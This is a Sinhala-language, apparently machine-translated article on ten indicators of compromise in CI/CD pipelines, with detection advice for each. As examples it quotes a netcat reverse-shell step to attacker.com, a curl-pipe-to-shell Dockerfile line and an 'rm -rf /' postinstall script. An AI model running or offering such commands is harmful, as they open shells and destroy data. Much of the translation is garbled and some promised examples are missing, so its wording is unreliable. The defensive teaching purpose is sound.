හැඳින්වීම: සයිබර් ආරක්ෂණයේ සම්මුතියේ දර්ශක මොනවාද?
සම්මුතියේ දර්ශක යනු ඔබේ පද්ධතිය හෝ pipeline ප්රහාරයට ලක් විය හැකිය. සරල වචන වලින් කිවහොත්, සම්මුති දර්ශක ප්රහාරකයින් විසින් ඉතිරි කරන ලද සලකුණු අමුතුයි වගේද? logins, ගොනු වෙනස්කම්, හෝ සැඟවුණු අනිෂ්ට මෘදුකාංග. In IOC සයිබර් ආරක්ෂාව, ඒවා අපරාධ ස්ථානයක ඇඟිලි සලකුණු මෙන් ක්රියා කරයි, යමක් වැරදී ඇති බවට පැහැදිලි සාක්ෂි ඔබට ලබා දෙයි. එබැවින්, සංවර්ධකයින් අසන විට සම්මුතියේ දර්ශක මොනවාද?, පිළිතුර සේවාදායකයන්ට හෝ ෆයර්වෝල් වලට පමණක් සීමා නොවේ, එයට නවීන ඒවා තුළ සැඟවී ඇති අවදානම් ද ඇතුළත් වේ CI/CD pipelines.
මේවායේ pipelines, ප්රහාරකයින්ට කේත විකෘති කිරීමට, අනිෂ්ට පරායත්තතා එන්නත් කිරීමට හෝ අවධානයට ලක් නොවී ගොඩනැගීමේ පියවර වෙනස් කිරීමට හැකිය. කෙසේ වෙතත්, බොහෝ මාර්ගෝපදේශකයින් තවමත් සේවාදායකයන් හෝ ජාල කෙරෙහි පමණක් අවධානය යොමු කරයි. එහි ප්රතිඵලයක් ලෙස, මෘදුකාංග සැපයුම් දාමය පහසුම ඉලක්ක වලින් එකක් බවට පත්ව ඇත.
ඒ නිසා තමයි සම්මුතියේ දර්ශක සොයා ගන්නේ CI/CD pipelines අත්යවශ්යයි. සියල්ලටත් වඩා, එය කණ්ඩායම් වලට අනිෂ්ට මෘදුකාංග අවහිර කිරීමට, රහස් ආරක්ෂා කිරීමට සහ මෘදුකාංග බෙදා හැරීමේ සෑම පියවරක්ම සුරක්ෂිත කිරීමට උපකාරී වේ.
සම්මුතියේ ඉහළම දර්ශක 10 CI/CD Pipelines
සම්මුති දර්ශක පැහැදිලි කිරීමේදී, බොහෝ ලැයිස්තු සේවාදායක හෝ ජාල කෙරෙහි අවධානය යොමු කරයි. එහෙත් CI/CD pipelines, ප්රහාරකයින් ඉතා වෙනස් ඇඟිලි සලකුණු තබයි. මෙම සංඥා හඳුනා ගැනීම ක්රියාකාරී ආරක්ෂාව සඳහා ඉතා වැදගත් වේ. සෑම සංවර්ධකයෙකු සහ ආරක්ෂක ඉංජිනේරුවෙකුම නිරීක්ෂණය කළ යුතු IOC සයිබර් ආරක්ෂණ රතු කොඩි 10 පහත දැක්වේ.
1. සැක සහිත යැපුම් වෙනස්කම්
සම්මුතියේ ප්රධාන දර්ශකවලින් එකකි pipelines යනු හදිසි, අමුතු පරායත්තතා යාවත්කාලීන කිරීමකි. ප්රහාරකයින් බොහෝ විට භයානක පැකේජ එකතු කිරීම සඳහා පැකේජ කළමනාකරුවන් තුළ සංවර්ධකයින්ගේ විශ්වාසනීය ස්ථානය භාවිතා කරයි.
උදාහරණයක් ලෙස, npm a හි package.json වෙනස හදිසියේම ඇතුළත් විය හැකිය:
එවැනි වෙනස්කම් ආරක්ෂිත බව පෙනුනද, සෑම ගොඩනැගීමකටම ට්රෝජන් කළ කේතය එන්නත් කළ හැකිය.
බලපෑම: අවදානමට ලක් වූ ගොඩනැගීම් මූලාශ්රයේදී අනිෂ්ට මෘදුකාංග උරුම කර ගනී.
අනාවරණය: පරායත්තතා සමාලෝචන බලාත්මක කිරීම, lockfile වෙනස්කම් නිරීක්ෂණය කිරීම සහ නව පැකේජ සෑම විටම පරිලෝකනය කිරීම.
2. ගොඩනැගීම් වල අපැහැදිලි කේතය
සමාලෝචන මඟ හැරීම සඳහා අනිෂ්ට මෘදුකාංග කතුවරුන් අපැහැදිලි කිරීම මත විශ්වාසය තබයි. එහි ප්රතිඵලයක් ලෙස, මෙම සම්මුති දර්ශකය CI/CD pipelines අල්ලා ගැනීමට අපහසුම එකක් විය හැකිය. ඇත්ත වශයෙන්ම, අපැහැදිලි ගෙවීම් බොහෝ විට දැනුම්දීමකින් තොරව විවෘත මූලාශ්ර පුස්තකාල හෝ බහාලුම් රූපවලට ලිස්සා යයි.
උදාහරණයක් වශයෙන්:
- භාවිතා කරන PyPI පැකේජයක්
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - අනවශ්ය UPX ද්විමය ගොනු වලින් පිරුණු ඩොකර් රූපයක්.
- ජාවාස්ක්රිප්ට් වලින් පිරී ඇත
\x41\x42අක්තපත්ර සොරකම් කරන්නන් සැඟවී පලා යයි.
බලපෑම: සැඟවුණු කේතය ගොඩනැගීමේදී හෝ ධාවන කාලය තුළ නිහඬව ක්රියාත්මක වන අතර, මෙය IOC සයිබර් ආරක්ෂණයේ තීරණාත්මක සංඥාවක් බවට පත් කරයි.
අනාවරණය: සංයුක්ත SAST කේතනය කරන ලද හෝ ඇසුරුම් කරන ලද කේතය සලකුණු කිරීමට අනිෂ්ට මෘදුකාංග ස්කෑන් කිරීම සමඟ. සියල්ලටත් වඩා, අපැහැදිලි කිරීම තවදුරටත් විමර්ශනය කළ යුතු රතු කොඩියක් ලෙස සලකන්න.
3. Git හි හෙළිදරව් වූ රහස්: සම්භාව්ය IOC සයිබර් ආරක්ෂණ අවදානමක්
CI/CD pipelineපරිශීලකයින් බොහෝ විට රහස් සෘජුවම ගබඩාවලින් උරුම කර ගනී. කෙසේ වෙතත්, Git හි රහස් දිස්වන විට, ඒවා "සම්මුතියේ දර්ශක මොනවාද" යන ප්රශ්නයට පැහැදිලිම පිළිතුරු වලින් එකක් බවට පත්වේ pipelines?” අක්තපත්ර Git වෙත ලැබුණු පසු, ප්රහාරකයින්ට ඒවා දින නියමයක් නොමැතිව සූරාකෑමට හැකිය.
උදාහරණයක් වශයෙන්:
- A
.envඅඩංගු ගොනුවAWS_SECRET_KEY=. - ටෝකන් ඇතුළු කරන ලදී
config.json. - ඉවත් කිරීමෙන් පසුව පවා Git ඉතිහාසයේ රහස් තවමත් දැකිය හැකිය.
බලපෑම: නිරාවරණය වූ යතුරු මඟින් ප්රහාරකයන්ට සෘජු ප්රවේශය ලබා දේ CI/CD pipelines, වලාකුළු පද්ධති හෝ දත්ත සමුදායන්. එබැවින් මෙය සම්මුතියේ වඩාත්ම භයානක දර්ශකවලින් එකකි.
අනාවරණය: භාවිත pre-commit hooks සහ රහස් ස්කෑන් කිරීම සඳහා CI කාර්යයන් සහ කාන්දු වූ යතුරු වහාම අවලංගු කරන්න. අතිරේකව, නිරාවරණ කවුළු අඩු කිරීම සඳහා ස්වයංක්රීය ප්රතිකර්ම බලාත්මක කරන්න.
4. හීලෑ කර ඇත Pipeline වින්යාසයන්: සම්මුතියේ සැඟවුණු දර්ශක
Pipeline configs යනු ඉහළ වටිනාකමක් ඇති ඉලක්ක වන නිසා තනි වෙනස් කිරීමක් බොහෝ විට සම්පූර්ණ වැඩ ප්රවාහය පැහැර ගනී.. එහි ප්රතිඵලයක් ලෙස, විකෘති කරන ලදී pipeline ගොනු යනු සාම්ප්රදායික අධීක්ෂණ මෙවලම් කලාතුරකින් හඳුනා ගන්නා ප්රධාන IOC සයිබර් ආරක්ෂණ අවදානමකි.
උදාහරණයක් වශයෙන්:
GitHub ක්රියා වලදී:
- GitLab හි: ද්වේෂසහගත රැකියාවක් එකතු කරන ලදී
.gitlab-ci.ymlඑය සංවේදී දත්ත ඩම්ප් කරයි. - ජෙන්කින්ස් හි:
sh "nc -e /bin/bash attacker.com 4444".
බලපෑම: මෙම අනුමත නොකළ වෙනස්කම් ඔබගේ pipeline ප්රහාරකයින් සඳහා ස්ථිර පිටුපස දොරක් බවට පත් කිරීම, එය පැහැදිලිවම සම්මුතියේ දර්ශකයක් ලෙස සැලකේ.
අනාවරණය: අත්සන් කළ වින්යාසයන් බලාත්මක කරන්න, PR අනුමැතීන් අවශ්ය කරන්න, සහ අනපේක්ෂිත රැකියා සඳහා නිරීක්ෂණය කරන්න. ඊට අමතරව, සකසන්න guardrails එය වෙනස් කරන ලද වැඩ ප්රවාහ ස්වයංක්රීයව අවහිර කරයි.
5. වරප්රසාද ලත් IaC පෙරනිමි
වැරදි ලෙස වින්යාස කර ඇති යටිතල පහසුකම් අර්ථ දැක්වීම් බොහෝ විට සැඟවුණු පසුබිම් නිර්මාණය කරයි. එහි ප්රතිඵලයක් ලෙස, වරප්රසාදිත පෙරනිමි IaC IOC හි සම්භාව්ය සයිබර් ආරක්ෂණ අවදානමකි.
උදාහරණයක් වශයෙන්:
- කුබර්නෙට්ස් යෙදවීම මඟින් කරල් ලබා දීම
privileged: true. - හෙල්ම් ප්රස්ථාර නිරාවරණය කිරීමේ සේවාවන් සමඟ
0.0.0.0:22.
බලපෑම: ප්රහාරකයින්ට මූල මට්ටමේ ප්රවේශය හෝ අභ්යන්තර සේවාවන් ප්රසිද්ධියේ නිරාවරණය වේ. එහි ප්රතිඵලයක් ලෙස, මෙම ගැටළු ප්රහාරක මතුපිට සැලකිය යුතු ලෙස පුළුල් කරයි.
අනාවරණය: අදාළ IaC ඒකාබද්ධ කිරීමට පෙර අවම වරප්රසාද බලාත්මක කිරීමට ස්කෑන් කිරීම. අතිරේකව, සෑම වින්යාසයක්ම කොටසක් ලෙස සමාලෝචනය කර ඇති බවට සහතික වන්න. pipeline.
6. අසාමාන්ය ශරීර හැසිරීම්
ප්රහාරකයින් බොහෝ විට වෙනස් වේ pipeline වෙනත් වචන වලින් කිවහොත්, අසාමාන්ය ගොඩනැගීමේ ක්රියාකාරකම් යනු සම්මුතියේ දර්ශක මොනවාද යන්නට පැහැදිලි පිළිතුරු වලින් එකකි. CI/CD pipelines.
උදාහරණයක් වශයෙන්:
- අමුතු වසම් වෙත පිටතට යන ජාල ඉල්ලීම් කරමින් ගොඩනැගීම්.
- Node.js ව්යාපෘතියක් හදිසියේම PowerShell බිහි කරයි
npm install. - ගොඩනැගීමේ ස්ක්රිප්ට් වල අර්ථ දක්වා නොමැති විශාල ද්විමය ගොනු බාගත කිරීමේ CI කාර්යයක්.
බලපෑම: සම්මුතිගත ගොඩනැගීම් අනිෂ්ට මෘදුකාංග බෙදා හැරීමේ ස්ථාන ලෙස ක්රියා කළ හැකිය. සියල්ලටත් වඩා, ඒවා සෑම යෙදවීමකටම ද්වේෂසහගත ගෙවීම් පතුරුවයි.
අනාවරණය: අනපේක්ෂිත ක්රියාවලි හෝ සම්බන්ධතා සඳහා ගොඩනැගීමේ ලොග් නිරීක්ෂණය කරන්න. තවද, සම්මතයෙන් පිටත හැසිරීම් සලකුණු කිරීමට විෂමතා අනාවරණය වින්යාස කරන්න.
7. IOC සයිබර් ආරක්ෂණ අවදානම් ලෙස අනිෂ්ට පැකේජ ස්ක්රිප්ට්
පැකේජ කළමනාකරුවන් ජීවන චක්රයට සහාය දක්වයි hooks ප්රහාරකයින් සූරාකන බව. එබැවින්, npm, PyPI, හෝ Dockerfiles හි ඇති අනිෂ්ට ස්ක්රිප්ට් යනු සම්මුතියේ ප්රබල දර්ශක වේ.
උදාහරණයක් වශයෙන්:
- එන්පීඑම්:
postinstallස්ක්රිප්ට් ධාවනය වෙමින් පවතීrm -rf /හෝ C2 වෙත බීකන්ස් කිරීම. - PyPI:
setup.pyස්ථාපනය කිරීමේදී සැඟවුණු පයිතන් කේතය ක්රියාත්මක කිරීම. - ඩොකර්ෆයිල්:
RUN curl attacker.sh | sh.
බලපෑම: ඕනෑම ධාවන කාල පරීක්ෂණයකට පෙර, ස්ථාපනය අතරතුර ප්රහාරය ක්රියාත්මක වේ. එහි ප්රතිඵලයක් ලෙස, එය ප්රමාද වන තුරු සංවර්ධකයින් කිසි විටෙකත් නොදැන සිටිය හැක.
අනාවරණය: ස්ථාපන ස්ක්රිප්ට් සඳහා ස්කෑන් පැකේජ ප්රකාශන. ඊට අමතරව, අවදානම් සීමා කරන්න hooks in CI/CD නිරාවරණය අඩු කිරීම සඳහා රැකියා.
8. සම්මුතියේ රෙජිස්ට්රි විෂ වීමේ දර්ශක
ප්රහාරකයින් ලේඛනවල ඇති කෞතුක වස්තු ප්රතිස්ථාපනය හෝ වෙනස් කිරීම සිදු කරන අතර, මෙම සිදුවීම් සැපයුම් දාමයේ සම්මුතියේ දර්ශක මොනවාද යන්න පිළිබඳ පෙළපොත් උදාහරණ වේ. pipelines.
උදාහරණයක් වශයෙන්:
- ට්රෝජනීකෘත ස්ථරයකින් නිහඬව යාවත්කාලීන කරන ලද ඩොකර් රූප ටැගයක්.
- විෂ සහිත අනුවාදයක් සමඟ ප්රතිස්ථාපනය කරන ලද අභ්යන්තර පැකේජයක්.
- npm නාම අවකාශයේ ස්කොටින් කිරීම, උදාහරණයක් ලෙස
lodash-proxy.
බලපෑම: රෙජිස්ට්රි කෞතුක වස්තුව භාවිතා කරන සෑම ගොඩනැගීමක්ම අවදානමට ලක් වේ. එපමණක් නොව, සම්මුතිය පහළ සේවාවන් දක්වා පැතිරෙයි.
අනාවරණය: සියලුම රෙජිස්ට්රි ඇදීම් සඳහා අත්සන සහ අඛණ්ඩතා පරීක්ෂාවන් බලාත්මක කරන්න. ඊට අමතරව, කෞතුක වස්තුවේ ආරම්භය නිරීක්ෂණය කරන්න SBOM තහවුරු කිරීම.
9. IOC සාක්ෂි ලෙස විෂම පරිශීලක ක්රියාකාරකම්
සම්මුතියකට ලක් වූ ගිණුම් සෑම විටම පාහේ අසාමාන්ය සලකුණු ඉතිරි කරයි. ඒ අනුව, අසාමාන්ය සංවර්ධක හැසිරීම සම්මුතියේ ප්රබල දර්ශකයකි.
උදාහරණයක් වශයෙන්:
- Commitදේශීය වේලාවෙන් අලුයම 3 ට තල්ලු විය.
- නිවාඩුවේදී ගිණුම් මගින් PR අනුමත කිරීම්.
- Pipelineඅසාමාන්ය සංඛ්යාතයකින් ක්රියාත්මක වේ.
බලපෑම: ප්රහාරකයින් විසින් සොරාගත් අක්තපත්ර අනිසි ලෙස භාවිතා කර ද්වේෂසහගත වෙනස්කම් ඇතුළත් කරයි. සියල්ලට පසු, අනවසර commitසාමාන්ය වැඩ ප්රවාහයන්ට පහසුවෙන් මිශ්ර වේ.
අනාවරණය: මොනිටරය SCM විෂමතා සඳහා ක්රියාකාරකම්, MFA බලාත්මක කිරීම සහ ටෝකන නිතිපතා මාරු කිරීම. ඊට අමතරව, සැක සහිත අවස්ථා වලදී අනතුරු ඇඟවීම commit හෝ අනුමත කිරීමේ රටා.
10. IOC සයිබර් ආරක්ෂණයේ අසාර්ථක අඛණ්ඩතාව හෝ අත්සන පරීක්ෂාවන්
පොදු නමුත් නොසලකා හරින ලද එකක් සම්මුති දර්ශකය අසාර්ථක අඛණ්ඩතාව හෝ අත්සන පරීක්ෂාවකි. IOC සයිබර් ආරක්ෂණයේදී, මෙම පරීක්ෂාවන් කේතය හෝ කෞතුක වස්තු සත්ය බව සත්යාපනය කරයි. ඒවා මඟ හැරීමෙන් ඉතිරි වේ pipelineනිරාවරණය වී ඇත.
උදාහරණ:
- SHA256 හෑෂ් එකක් අපේක්ෂිත චෙක්සම් එකට නොගැලපේ.
- නැතිවූ හෝ අවලංගු GPG අත්සනක්.
- An SBOM අත්සන් නොකළ කෞතුක වස්තු පෙන්වයි.
බලපෑම: අඛණ්ඩතාව අසමත්වීම් බොහෝ විට විකෘති කිරීම, රෙජිස්ට්රි විෂ වීම හෝ අනිෂ්ට මෘදුකාංග එන්නත් කිරීම අදහස් කරයි.
අනාවරණය: අත්සන් පරීක්ෂාවන් ස්වයංක්රීය කරන්න, චෙක්සම් වලංගුකරණය බලාත්මක කරන්න, සහ අත්සන් නොකළ සංරචක අවහිර කරන්න. සියල්ලටත් වඩා, සෑම අසාර්ථක චෙක්පතක්ම සම්මුතියක පැහැදිලි සාක්ෂියක් ලෙස සලකන්න.
CI/CD බැලූ බැල්මට සම්මුතියේ දර්ශක
| සම්මුති දර්ශකය (IOC) | තුළ බලපෑම CI/CD Pipelines | හඳුනා ගන්නේ කෙසේද |
|---|---|---|
| සැක සහිත යැපුම් වෙනස්කම් | ප්රහාරකයින් පැකේජ කළමනාකරුවන් තුළට ද්වේෂසහගත පුස්තකාල එන්නත් කරන අතර එමඟින් ගොඩනැගීම් අඩපණ වේ. | lockfile වෙනස්කම් නිරීක්ෂණය කරන්න, පරායත්තතා සමාලෝචන බලාත්මක කරන්න, සහ පරායත්තතා අඛණ්ඩව පරිලෝකනය කරන්න. |
| ගොඩනැගීම් වල අපැහැදිලි කේතය | සැඟවුණු ගෙවීම් ගොඩනැගීම් හෝ ධාවන කාලය තුළ අනාවරණයකින් තොරව ක්රියාත්මක වේ. | භාවිත SAST සහ base64, hex, හෝ ඇසුරුම් කළ කේත රටා සලකුණු කිරීමට අනිෂ්ට මෘදුකාංග ස්කෑන් කිරීම. |
| Git හි හෙළිදරව් වූ රහස් | කාන්දු වූ ටෝකන හෝ API යතුරු ප්රහාරකයන්ට තීරණාත්මක පද්ධති වෙත සෘජු ප්රවේශය ලබා දෙයි. | Git හි රහස් ස්කෑන් ක්රියාත්මක කරන්න hooks සහ කාන්දු වූ අක්තපත්ර ස්වයංක්රීයව අවලංගු කරන්න. |
| හීලෑ කර ඇත Pipeline මානකරනය | වෙනස් කරන ලද වැඩ ප්රවාහයන් දත්ත පිටවීම හෝ ඇතුළත නොනැසී පැවතීමට ඉඩ සලසයි. CI/CD. | PR අනුමැතිය අවශ්ය කිරීම, අත්සන් කළ වින්යාස බලාත්මක කිරීම සහ නිරීක්ෂණය කිරීම pipeline වෙනස්කම්. |
| වරප්රසාදිත IaC පෙරනිමි | අධික ලෙස අවසර ලත් භූමිකාවන් හෝ අනාරක්ෂිත පෙරනිමියන් වලාකුළු පරිසරයන් නිරාවරණය කරයි. | අවම වරප්රසාද බලාත්මක කිරීම සඳහා Terraform, Kubernetes සහ Helm ගොනු පරිලෝකනය කරන්න. |
| අසාමාන්ය ගොඩනැගීමේ හැසිරීම් | Pipelineඅනිෂ්ට මෘදුකාංග බෙදා හැරීමේ ස්ථාන ලෙස හෝ පාර්ශ්වීය චලනය සඳහා භාවිතා කරයි. | අනපේක්ෂිත බාගැනීම්, ක්රියාවලි හෝ පිටතට යන ඇමතුම් සඳහා ගොඩනැගීමේ ලොග් විශ්ලේෂණය කරන්න. |
| අනිෂ්ට පැකේජ ස්ක්රිප්ට් | සැඟවුණු පූර්ව/පසු-ස්ථාපන ස්ක්රිප්ට් මඟින් ධාවන කාල පරීක්ෂාවට පෙර ගෙවීම් ක්රියාත්මක වේ. | අවදානම් සහිත npm/PyPI ස්ක්රිප්ට් අවහිර කර ක්රියාත්මක කිරීම සීමා කරන්න CI/CD රැකියා. |
| රෙජිස්ට්රි විෂ වීම | ට්රෝජනීකෘත කෞතුක වස්තු, ලේඛනාගාරවල විශ්වාසදායක රූප හෝ ද්විමය ගොනු ප්රතිස්ථාපනය කරයි. | චෙක්සම් සත්යාපනය කරන්න, අත්සන් වලංගුකරණය බලාත්මක කරන්න, සහ රෙජිස්ට්රි කල්තියා පරිලෝකනය කරන්න. |
| අසාමාන්ය පරිශීලක ක්රියාකාරකම් | අවදානමට ලක් වූ ගිණුම් ද්වේෂසහගත දේ තල්ලු කරයි commits හෝ ට්රිගරය pipelines. | MFA බලාත්මක කරන්න, නිරීක්ෂණය කරන්න commitවිෂමතා සඳහා s, සහ විශ්ලේෂණය කරන්න login රටා. |
| අසාර්ථක වූ අඛණ්ඩතාව හෝ අත්සන් පරීක්ෂාවන් | විකෘති කරන ලද කේතය, පරායත්තතා හෝ ඇතුළු වන රූප දක්වයි pipeline. | අඛණ්ඩතා පරීක්ෂාවන් ස්වයංක්රීය කර අත්සන් නොකළ හෝ නොගැලපෙන සංරචක අවහිර කරන්න. |
සාම්ප්රදායික IOC සයිබර් ආරක්ෂාව මග හැරෙන්නේ ඇයි? CI/CD අවදානම්
බොහෝ සංවිධාන දැනටමත් සේවාදායක, පරිගණක හෝ ජාල වල සම්මුති දර්ශක නිරීක්ෂණය කරයි. කෙසේ වෙතත්, IOC සයිබර් ආරක්ෂාව සඳහා මෙම සම්භාව්ය ප්රවේශය නොසලකා හරියි CI/CD pipelines, ඒවා දැන් වඩාත්ම තීරණාත්මක ප්රහාරක පෘෂ්ඨයන්ගෙන් එකකි. ඇත්ත වශයෙන්ම, pipelineසාම්ප්රදායික මෙවලම්වලට හඳුනාගත නොහැකි අද්විතීය සම්මුති සංඥා පෙන්වයි.
සාම්ප්රදායික ආරක්ෂාව පිළිබඳ සම්මුතියේ දර්ශක
සාම්ප්රදායික IOC සයිබර් ආරක්ෂණයේදී, සාමාන්යයෙන් අවධානය යොමු වන්නේ:
- අසාමාන්ය loginසොරකම් කරන ලද අක්තපත්ර යෝජනා කරන s හෝ IP ලිපින.
- අනිෂ්ට මෘදුකාංග හෙළි කරන සැක සහිත ගොනු හැෂ් හෝ රෙජිස්ට්රි වෙනස්කම්.
- දත්ත පිටවීම පෙන්නුම් කරන අනපේක්ෂිත පිටතට යන ගමනාගමනය.
මේවා සුප්රසිද්ධ දර්ශක වන අතර ඒවා ද නිරීක්ෂණය කෙරේ MITER ATT&CK රාමුව, එය පොදු විරුද්ධවාදී හැසිරීම් සහ උපක්රම සිතියම්ගත කරයි. මේවා ප්රයෝජනවත් සංඥා වේ. කෙසේ වෙතත්, ඒවා ප්රධාන වශයෙන් මෙහෙයුම් පද්ධති හෝ ආයතනික ජාල සඳහා අදාළ වේ. එහි ප්රතිඵලයක් ලෙස, මෘදුකාංග සැපයුම් දාමයේ කලින් සිදුවන සියුම් විකෘති කිරීම් ඔවුන්ට මග හැරේ.
මන්ද CI/CD Pipelineවෙනස්
CI/CD pipelines යනු සංවර්ධකයින් භාවිතා කරන ස්වයංක්රීය පරිසරයන් වේ commit කේතය, ඇදීමේ පරායත්තතා සහ නිකුතු ගොඩනැගීම්. ප්රහාරකයින් දන්නවා මෙහි එක් සම්මුතියක් සෑම යෙදවීමකම ගලා යන බව. ඒ අනුව, සම්මුතියේ දර්ශක මොනවාද? CI/CD pipelineඒගොල්ලෝ ගොඩක් වෙනස් විදියට පේනවා:
- package.json හෝ requirements.txt වෙත නිහඬව ද්වේෂසහගත යැපීමක් එක් කරන ලදී.
- Git හි නිරාවරණය වන API යතුරු හෝ ටෝකන commits හෝ .env ගොනු.
- npm හෝ PyPI පැකේජවලට එන්නත් කරන ලද අපැහැදිලි කේතය.
- privileged: true වැනි අනාරක්ෂිත පෙරනිමි සහිත Terraform හෝ Kubernetes ගොනු.
- Pipeline දත්ත බැහැර කිරීමට හෝ පසුපස දොරවල් විවෘත කිරීමට සංස්කරණය කරන ලද කාර්යයන්.
මෙම සම්මුති සංඥා CI/CD නොපෙනී සිටින්න standard ආරක්ෂක මෙවලම්.
IOC සයිබර් ආරක්ෂණයේ පරතරය
බොහෝ කණ්ඩායම් සම්මුති දර්ශකවල වටිනාකම තේරුම් ගත්තද, ඔවුන් තවමත් රඳා පවතින්නේ සේවාදායකයන් සහ ජාල ලොග් වලින් අනාවරණය කර ගැනීම මත පමණි. එමනිසා, ප්රහාරකයින්ට සුපුරුදු සලකුණු ඉතිරි නොකර ගොඩනැගීම් විෂ කිරීමට හෝ අනිෂ්ට මෘදුකාංග ඇතුළු කිරීමට හැකිය. XZ Utils පසුබිම් හෝ අනිෂ්ට npm පැකේජ වැනි සිදුවීම් නිෂ්පාදනයට ළඟා වන තුරු අනාවරණය නොවී ගියේ මේ නිසා ය.
මෙම ආකාරයේ සැපයුම් දාම සම්මුති ද ඉස්මතු කර දක්වන්නේ CISA හි සැපයුම් දාම ආරක්ෂක මාර්ගෝපදේශය, ප්රහාරකයින් වැඩි වැඩියෙන් ඉලක්ක කරන බවට අනතුරු අඟවයි CI/CD pipelines සහ ලේඛන.
බල්ලෝ
සාම්ප්රදායික IOC සයිබර් ආරක්ෂාව අවශ්ය නමුත් ප්රමාණවත් නොවේ. සියල්ලටත් වඩා, කණ්ඩායම් විසින් විශේෂිත වූ සම්මුති දර්ශක හඳුනා ගත යුතුය CI/CD pipelines. එවිට පමණක් ඔවුන්ට අනිෂ්ට කේතය හඳුනාගත හැකිය හෝ pipeline පරිසරය පුරා පැතිරීමට පෙර අපයෝජනය.
